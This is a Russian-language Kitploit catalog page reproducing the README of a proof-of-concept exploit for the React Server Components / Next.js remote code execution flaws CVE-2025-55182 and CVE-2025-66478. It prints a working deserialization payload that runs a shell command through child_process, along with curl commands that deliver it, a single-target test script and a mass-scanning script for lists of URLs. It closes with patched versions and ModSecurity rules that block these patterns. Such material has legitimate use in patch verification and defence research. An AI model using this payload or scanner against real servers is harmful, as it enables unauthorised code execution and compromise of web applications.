Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182-POC — Минимальный MVP для воспроизведения уязвимостей React2Shell (CVE-2025-55182) и Next.js RSC RCE (CVE-2025-66478). Включает эксплойт-пейлоад, скрипт массового сканирования и правила WAF ModSecurity для смягчения. | Kitploit
Инструменты/GitHubGitHub/huahuai23/cve-2025-55182-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

Минимальный MVP для воспроизведения уязвимостей React2Shell (CVE-2025-55182) и Next.js RSC RCE (CVE-2025-66478). Включает эксплойт-пейлоад, скрипт массового сканирования и правила WAF ModSecurity для смягчения.

Репозиторий
129 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 / CVE-2025-66478 Среда для воспроизведения уязвимостей

Это минимальный MVP для воспроизведения уязвимостей React2Shell (CVE-2025-55182) и Next.js RSC RCE (CVE-2025-66478).

⚠️ Предупреждение

Этот проект предназначен только для целей исследования безопасности и образования. Не используйте его в производственных средах или на неавторизованных системах.

Обзор уязвимости

CVE-2025-55182 — это критическая уязвимость в React Server Components, затрагивающая:

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: ≥14.3.0-canary.77, ≥15, ≥16

Злоумышленник может использовать специально сформированный запрос multipart/form-data для эксплуатации уязвимости десериализации в протоколе Flight, что приводит к удаленному выполнению кода (RCE).

Принцип атаки

  1. Получение ссылки на Chunk: используйте синтаксис $@N для получения внутреннего объекта Chunk
  2. Загрязнение цепочки прототипов: внедрение вредоносного метода then через
$1:__proto__:then
  • Триггер выполнения: Server Action при ожидании (await) вызывает загрязненный метод then
  • Перехват конструктора: перехват _formData.get как конструктора Function
  • Выполнение кода: выполнение произвольного кода через десериализацию Blob
  • Быстрый старт

    1. Установка зависимостей

    root@kitploit:~
    npm install
    # или
    yarn install
    # или
    pnpm install
    

    2. Запуск сервера разработки

    root@kitploit:~
    npm run dev
    

    Сервер будет запущен на http://localhost:3000.

    3. Тестирование уязвимости

    Используйте предоставленный скрипт тестирования:

    root@kitploit:~
    # Тестирование одного целевого объекта
    ./test-exploit.sh http://localhost:3000
    
    # или напрямую через curl
    curl -X POST http://localhost:3000/ \
      -H "Next-Action: x" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      --data-binary @exploit-payload.txt
    

    Если уязвимость существует, вы увидите в ответе вывод, подобный uid= (результат выполнения команды id).

    Структура файлов

    root@kitploit:~
    .
    ├── app/
    │   ├── actions.ts              # Server Actions (точка срабатывания уязвимости)
    │   ├── page.tsx                # Главная страница
    │   ├── layout.tsx              # Макет
    │   └── globals.css             # Глобальные стили
    ├── package.json                # Конфигурация зависимостей (используются уязвимые версии)
    ├── next.config.js              # Конфигурация Next.js
    ├── test-exploit.sh             # Скрипт тестирования уязвимости для одного целевого объекта
    ├── scan-targets.sh             # Скрипт массового сканирования
    ├── exploit-payload.txt         # Файл с эксплойт-полезной нагрузкой (payload)
    ├── Cve-2025-55182-modsecurity-rules.conf      # Правила защиты ModSecurity
    └── README.md                   # Этот файл
    

    Описание тестовых скриптов

    1. test-exploit.sh — тестирование одного целевого объекта

    Проверяет один URL на наличие уязвимости:

    root@kitploit:~
    chmod +x test-exploit.sh
    ./test-exploit.sh http://localhost:3000
    

    Особенность: если ответ содержит uid= или gid=, уязвимость существует.

    2. scan-targets.sh — массовое сканирование

    Массовое сканирование нескольких целевых URL:

    root@kitploit:~
    # Создайте файл со списком целей
    cat > targets.txt << EOF
    http://localhost:3000
    https://example.com
    https://api.example.com:8080
    EOF
    
    # Выполните массовое сканирование
    chmod +x scan-targets.sh
    ./scan-targets.sh targets.txt
    

    Результаты сканирования будут сохранены в vulnerable_hosts.csv.

    Разбор структуры Payload

    root@kitploit:~
    {
      "then": "$1:__proto__:then",           // перехват метода then
      "status": "resolved_model",             // управление путем выполнения
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",      // триггер десериализации Blob
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"  // перехват как Function
        }
      }
    }
    

    Ключевые моменты:

    1. $@0: ссылается на первое поле form-data, получает объект Chunk
    2. $1:proto:then: доступ к Chunk.prototype.then
    3. _response._prefix: внедренный вредоносный код (будет выполнен конструктором Function)
    4. $1:constructor:constructor: Object.constructor.constructor = Function

    Способы исправления

    Вариант 1: Обновление до исправленных версий (рекомендуется)

    • React: 19.0.1, 19.1.2, 19.2.1 или выше
    • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 или выше
    root@kitploit:~
    npm install [email protected] [email protected] [email protected]
    

    Вариант 2: Развертывание правил WAF ModSecurity (временное смягчение)

    Если немедленное обновление невозможно, можно временно развернуть правила ModSecurity.

    Apache + mod_security

    root@kitploit:~
    # 1. Установка mod_security
    sudo apt-get install libapache2-mod-security2
    
    # 2. Копирование файла правил
    sudo cp modsecurity-rules.conf /etc/modsecurity/
    
    # 3. Подключение правил в конфигурации Apache
    sudo vim /etc/apache2/mods-enabled/security2.conf
    # Добавить: Include /etc/modsecurity/modsecurity-rules.conf
    
    # 4. Перезапуск Apache
    sudo systemctl restart apache2
    

    Nginx + ModSecurity

    root@kitploit:~
    # 1. Установка ModSecurity для Nginx
    sudo apt-get install libnginx-mod-security
    
    # 2. Копирование файла правил
    sudo cp modsecurity-rules.conf /etc/nginx/modsec/
    
    # 3. Включение в конфигурации Nginx
    sudo vim /etc/nginx/nginx.conf
    # В блок http или server добавить:
    # modsecurity on;
    # modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
    
    # 4. Перезапуск Nginx
    sudo systemctl restart nginx
    

    Обнаруживаемые признаки правилами

    Правила ModSecurity будут блокировать следующие признаки:

    • ✅ Признаки протокола Flight ($@N, $BN)
    • ✅ Загрязнение цепочки прототипов (__proto__, constructor:constructor)
    • ✅ Опасные вызовы модулей Node.js (process.mainModule.require, require('child_process'))
    • ✅ Функции выполнения команд (execSync, exec)
    • ✅ Операции с внутренними объектами (_response, _chunks, _formData, _prefix)
    • ✅ Заголовки запросов Server Action (Next-Action, RSC-Action-ID)

    ⚠️ Внимание: Правила WAF — это лишь временная мера смягчения, они не обеспечивают полную защиту. Обновление до исправленных версий обязательно.

    Рекомендации по безопасности

    Если ваше приложение может быть затронуто:

    1. Немедленно протестируйте: используйте скрипт test-exploit.sh для проверки вашего приложения
    2. Немедленно обновитесь: обновите до исправленных версий
    3. Смените ключи: смените все переменные окружения, API-ключи, пароли баз данных
    4. Аудит логов: проверьте журналы доступа на предмет подозрительных запросов Next-Action
    5. Разверните WAF: разверните правила ModSecurity в качестве временной защиты до обновления

    Быстрая проверка с помощью curl

    Если вы хотите протестировать напрямую через curl (без использования скрипта):

    root@kitploit:~
    curl -X POST http://localhost:3000/ \
      -H "Next-Action: x" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      -H "X-Nextjs-Request-Id: b5dce965" \
      --data-binary @exploit-payload.txt
    

    Если ответ содержит uid= или gid=, уязвимость существует.

    Ссылки

    • Официальное объявление Vercel
    • React GHSA
    • Next.js GHSA
    • CVE PoC (React)
    • CVE Scanner (Next.js)
    • Документация ModSecurity

    Благодарности

    • Lachlan Davidson — обнаружение и ответственное раскрытие уязвимости
    • Meta Security & React Team
    • Vercel Team

    Лицензия

    Этот проект предназначен только для образовательных целей. При использовании этого кода соблюдайте соответствующие законы и нормативные акты.

    Скачать инструмент